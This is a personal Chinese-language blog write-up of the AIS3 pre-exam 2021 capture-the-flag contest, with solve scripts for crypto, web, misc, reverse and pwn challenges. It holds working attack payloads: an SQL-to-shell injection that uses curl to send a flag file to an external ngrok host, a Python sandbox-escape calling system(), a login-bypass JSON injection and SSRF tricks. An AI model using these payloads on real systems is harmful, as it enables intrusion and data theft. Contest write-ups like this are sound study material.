AIS3 pre-exam 2021 心得
## 前言
距離上次打pre-exam又過了一年
但坦白講感覺自己根本沒啥進步
這一年來也沒認真打過CTF
要說的話也是因為忙啦
其實一年下來有好幾個比賽能打
像是 EOF, Balsn 之類的
但總是碰到期中期末之類的
我總是花少少的時間上去看一下
然後看不懂就放棄了
總歸就一句吧
![I suck](https://imgur.dcard.tw/WDWrBTO.jpg)
話又說回來
這次pre-exam我是真的打的廢寢忘食
最近因為遠距教學 總是待在宿舍房間裡
剛好創造了全心全意(?)打CTF的環境
說是找回初心也稍微有點不對
總之就是有種「原來我可以這麼認真做一件事」的感覺
也算是有點收穫
## 結果
這次一共解了15題 排名的話是第7名
已經是超乎我自己想像的結果了
![score](https://i.imgur.com/pF5CuHM.png)
## Write-Up
下面放 Write-Up
### Welcome
#### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
總之就一直連進去把密碼試出來
得到密碼是 `2025830455298`
flag: `AIS3{H1n4m1z4w4_Sh0k0gun}`
### Crypto
#### Microchip
觀察code會發現它把字串每4個一組分別用4個key位移
已知前4個字`AIS3`,所以可以先把key找出來
```python
en = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu"
pl = "3SIA"
for i in range(4):
print((ord(en[i])-ord(pl[i]) + 96) % 96)
```
10
87
42
69
得到keys為 `[69, 42, 87, 10]`
於是就可以還原flag了
```python
keys = [69, 42, 87, 10]
for i in range(0, len(en), 4):
for j in range(3, -1, -1):
print(chr((ord(en[i+j])-32-keys[3-j]+96)%96+32), end='')
```
`AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}22`
flag: `AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}`
#### ReSident evil villAge
這題是RSA加密
已知的密文是 `b'Ethan Winters'`
需要簽署對應的明文才能拿到flag
這裡可以使用 chosen plaintext attack
若原明文是$$P$$,另取一已知明文$$B$$,有
$$C = P^{e}\ mod \ n$$
$$C_b = P^{e}B^{e}\ mod\ n$$
則 $$C_b$$ 解密後的明文有
$$P_b = PB \ mod\ n$$
乘以 $$B$$ 對於 $$n$$ 的模反元素可以得到原明文 $$P$$
```python
from pwn import *
from Crypto.Util.number import *
r = remote('quiz.ais3.org', 42069)
r.recvuntil('n = ')
n = int(r.recvuntil('\n').strip())
r.recvuntil('e = ')
e = int(r.recvuntil('\n').strip())
r.recv()
c = bytes_to_long(b'Ethan Winters')
known_plain = 2
cb = (pow(known_plain, e, n) * c) % n
r.sendline(b'1')
r.sendline(str.encode(hex(cb)[2:]))
r.recvuntil("Signature: ")
decrypted = int(r.recvuntil('\n').strip())
r.recv()
r.sendline(b'2')
r.sendline(str.encode(str((pow(known_plain, -1, n) * decrypted) % n)))
r.interactive()
```
flag: `AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}`
#### Republic of South Africa
參考 https://www.youtube.com/watch?v=jsYwFizhncE
可以知道 count 就是 $$\pi \times 10^{152}$$ 的整數部份
也就是 $$\pi$$ 的前153位
於是有 $$pq = n$$ 和 $$p+q = count$$
小心計算可以解出 $$p, q$$
```python
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
plain = pow(c, d, n)
long_to_bytes(plain)
```
得到 flag
flag: `AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}`
其實這個影片我以前就有看過了
在搜尋的時候也第一時間想到要找它
![](https://i.imgur.com/dzshl95.png)
拿到 flag 看到同一支影片倒是有點傻眼XD
#### Microchess
由於儲存遊戲使用的 hash 是 Merkle–Damgård Construction
也就是`下一區塊hash = f(這一區塊hash, 下一區塊明文)`
其中 f 是 hash function
因此可以使用 length extension attack
這題雖然知道 padding 方法
但帶著 padding 遊戲應該無法還原
因此只好先製造沒有 padding 的遊戲
即字串長度為8或16
```python
state = int('<hex_given>', 16)
block = int.from_bytes(hash.pad(b',1'), 'big')
f(state, block).to_bytes(8, 'big').hex()
```
於是可以多塞1顆石頭在最後面
拿走那顆石頭之後可以偷AI的code來用
決定接下來要拿哪裡
```python
def take(l):
nim_sum = 0
for i in l:
nim_sum ^= i
for i, v in enumerate(l):
target = v ^ nim_sum
if target < v:
pile = i
count = v - target
break
return pile, count
while 1:
L = input()
print(take(list(map(int, L.split(',')))))
```
玩到贏即可獲得 flag
flag: `AIS3{1._e4_e5_2._Qh5_Ke7_3._Qxe5#_1-0}`
### Misc
#### [震撼彈] AIS3 官網疑遭駭!
從pcap中看到唯一一筆連線的網址不同,為`Index.php`
而得到的回應 `Index.php index.php` 看起來像下了`ls`指令
嘗試連線 magic.ais3.org 不通
連線到 IP 只看到 nginx 畫面
因此需要自己設定host
設定完後可連 `Index.php`
又連線中的參數`page=%3DogLgMHb`
即 `=ogLgMHb` 推測是反過來之後 base64 decode
實際測試得到 `ls .\n` 驗證了該推測
用以下code可以產生該參數
```javascript
encodeURIComponent(btoa("cat ../flag_c603222fc7a23ee4ae2d59c8eb2ba84d").split("").reverse().join(""))
```
flag: `AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}`
#### Microcheese
`Microchess`有bug的版本
輸入0, 1, 2以外的指令可以什麼都不做
等到AI拿到剩1顆石頭再拿走就贏了
flag: `AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}`
#### Blind
這題的stdout被關閉
可以下dup的syscall複製stderr
查 syscall table
輸入 `32 2 0 0`
由於dup會把複製完的file descriptor給最小的可用數字
在這題裡會是1,因此可以經由strerr得到flag
flag: `AIS3{dupppppqqqqqub}`
#### Cat Slayer | Online Edition
rebirth後可以移除字數限制
可以把字母全部解鎖
再上網找一個payload來用
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('cat ../secr3t_flag_meow_meow')
```
flag: `AIS3{CAO_Cat_Art_Online}`
### Web
#### ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
```python
data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
request.form["username"], request.form['password']
)
```
從它的format string看出可以修改data
我們需要不是 `guest` 的username, showflag要為`True`
另外為了繞過 `users_db.get(user['username']) == user['password']`
可以使用 `null` 使password被轉成 `None`
username則輸入不存在的值,`dict.get` 會回傳 `None`
`None == None` 即可通過驗證
payload:
`aaa`, `guest", "showflag":true, "password":null, "a":"a`
另外如果把 server 搞壞的話好像會被 ban 掉
會持續收到 500 Internal Server Error
但只要開新的隱私視窗就行了
flag: `AIS3{/r/badUIbattles?!?!}`
#### 【5/22 重要公告】
觀察發現該網頁call的API
`/?module=modules/api&id=3`
試著LFI該API
`/?module=php://filter/convert.base64-encode/resource=modules/api`
得到 `api.php` 的原始碼:
```php
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = [];
$query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}
```
發現這段 sqlite 可以 injection
再之後更使用了 `shell_exec`
有機會能從目標主機偷出資訊
payload: `/?modules/api&id=-6087 UNION ALL SELECT 1,"127.1'${IFS}80;curl${IFS}2d594268db42.ngrok.io/?sad=$(cat${IFS}../../../flag_81c015863174cd0c14034cc60767c7f5|tr${IFS}-d${IFS}'\n');echo${IFS}'","80" --`
其中 `${IFS}` 可以繞過空白檢查
而 `tr` 只是為了濾掉輸出的空白好讓curl正常運作
得到 `AIS3o1d_skew1_w3b_tr1cks_co11ect10n_:D` 再手工還原
flag: `AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}`
#### HaaS
觀察網頁發現有個 hidden input `status`
測試後發現 `status` 與實際得到的status code不同的時候
網頁會把整個response印出來
因此可以試著印出這台主機本身的response
使用 `127.1` 作為 `127.0.0.1` 的替代可以繞過檢查
得到 flag
flag: `AIS3{V3rY_v3rY_V3ry_345Y_55rF}`
### Reverse
#### 🐰 Peekora 🥒
這題是 python pickle 的 reverse
主要看懂 MARK, TUPLE, REDUCE 就可以還原成 python code
```python
[exit, str][input("FLAG:")[5]=="d"]()
```
大概會有好幾段類似這樣的東西
慢慢解讀完就能得到 flag
flag: `AIS3{dAmwjzphIj}`
#### Piano
把它的dll拿去decompile會看到這一段code:
```csharp
List<int> intList1 = new List<int>()
[
14,
17,
20,
21,
22,
21,
19,
18,
12,
6,
11,
16,
15,
14
];
List<int> intList2 = new List<int>()
{
0,
-3,
0,
-1,
0,
1,
1,
0,
6,
0,
-5,
0,
1,
0
};
for (int index = 0; index < 14; ++index)
{
if (this.notes[index] + this.notes[(index + 1) % 14] != intList1[index] || this.notes[index] - this.notes[(index + 1) % 14] != intList2[index])
return false;
}
return true;
```
算出notes為`[7, 7, 10, 10, 11, 11, 10, 9, 9, 3, 3, 8, 8, 7]`
照著按一遍可得到flag
flag: `AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}`
### Pwn
#### Write Me
雖然 system got 指向的位址被清空了
但我們可以對任意位址寫任意值
於是用 gdb 把原本 system got 指向的位址找出來
即 `0x401050`
輸入 `4210728`(0x404028), `4198480`(0x401050)
就可以順利呼叫system得到shell
flag: `AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}`
2021-06-01 00:29:37
留言
Last fetch: --:--
現在還沒有留言!